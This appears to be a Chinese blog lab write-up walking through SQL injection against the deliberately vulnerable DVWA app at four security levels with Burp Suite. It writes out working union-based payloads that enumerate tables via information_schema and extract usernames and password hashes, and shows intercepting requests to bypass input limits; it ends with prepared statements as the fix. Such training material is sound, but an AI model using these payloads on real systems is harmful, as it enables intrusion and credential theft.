DVWA系列(六)——使用Burpsuite进行SQL Injection(SQL注入)

1. SQL注入简介

(1)SQL注入漏洞原理

将恶意的SQL语句拼接到合法的语句中,从而达到执行SQL语句的目的;

(2)SQL注入漏洞类型

字符型;

数字型;

搜索型;

(3)SQL注入的过程

判断是否存在注入,注入是字符型还是数字型;

猜解SQL查询语句中的字段数;

确定显示位置;

获取当前数据库;获取数据库中表;

获取表中的字段名;

下载数据;

2. SQL注入

实验环境

(1)Windows服务器:Windows  Server 2003,IP地址:192.168.37.128;

(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)

实验过程

安全级别:Low

(1)设置安全级别

(2)查看源码

(3)源码分析

根据源码可以看出,Low级别的代码对参数id没有进行任何的检查与过滤,存在明显的SQL注入;

并且是字符型的SQL注入;

(4)实验操作

4.1> 判断是否存在注入,注入是字符型还是数字型;

输入1,查询成功;

输入1' or '1'='1,返回了很多结果,证明存在字符型SQL注入;

4.2> 猜解SQL查询语句中的字段数;

在输入框中输入1' order by 1#1' order by 2#时都返回正常;

对比源码,这条语句的意思是查询users表中user_id为1的数据并按第一(二)字段排行。

在输入框中输入 1' order by 3#时,返回错误:说明该表中的字段数为2,有两列数据;

4.3> 确定显示位置;

当确定字段数后,接下来使用union select联合查询继续获取数据;

4.4> 获取当前数据库名;

输入1' union select version(),database()#

可以查询到数据库的版本5.5.53,数据库名dvwa;

 

4.5> 获取数据库中的表;

对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;

输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

可以看出,DVWA数据库中一共有两个表:guestbook,users;

4.6> 获取表中的字段名;

输入 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

可以看出,users表中一共有8个字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login;

4.7> 获取数据;

输入 1' union select user,password from users#

可以看出,已经获取到用户名和加密的密码;

可以通过MD5解密工具,判断出密码;

安全级别:Medium

(1)设置安全级别;

(2)查看源码; 

(3)源码分析

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义;

同时设置了下拉选择表单,控制用户的输入;

可以简单看出,用户只能选择1-5,存在数字型SQL注入;

(4)实验过程

虽然使用了下拉选择菜单,但是我们可以通过抓包修改参数,实现SQL注入;

借助Burp Suite工具对抓取的数据包进行输入:

导入Repeater

 4.1> 判断是否存在注入,注入是字符型还是数字型;

 4.2> 猜解SQL查询语句中的字段数;

字段数为2,有两列数据;

 4.3> 确定显示位置;

4.4> 获取当前数据库名;

输入1 union select version(),database()#

可以查询到数据库的版本5.5.53,数据库名dvwa;

 4.5> 获取数据库中的表;

对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;

输入 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

可以看出,DVWA数据库中一共有两个表:guestbook,users;

4.6> 获取表中的字段名;

输入 1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

因为table_name='users'中带有单引号,会进行转义,所以我们需要将users进行编码;

可以看出,users表中一共有8个字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login;

 4.7> 获取数据;

输入 1 union select user,password from users#

可以看出,已经获取到用户名和加密的密码;

可以通过解密工具,判断出密码;

安全级别:High

(1)设置安全级别

(2)查看源码

(3)源码分析

High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;

(4)实验过程

该过程与low级别的操作一致;简单附两张图;

安全级别:Impossible

(1)设置安全级别

(2)查看源码

(3)源码分析

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

同时只有返回的查询结果数量为1时,才会输出;

 

猜你喜欢

转载自blog.csdn.net/qq_38684504/article/details/89847056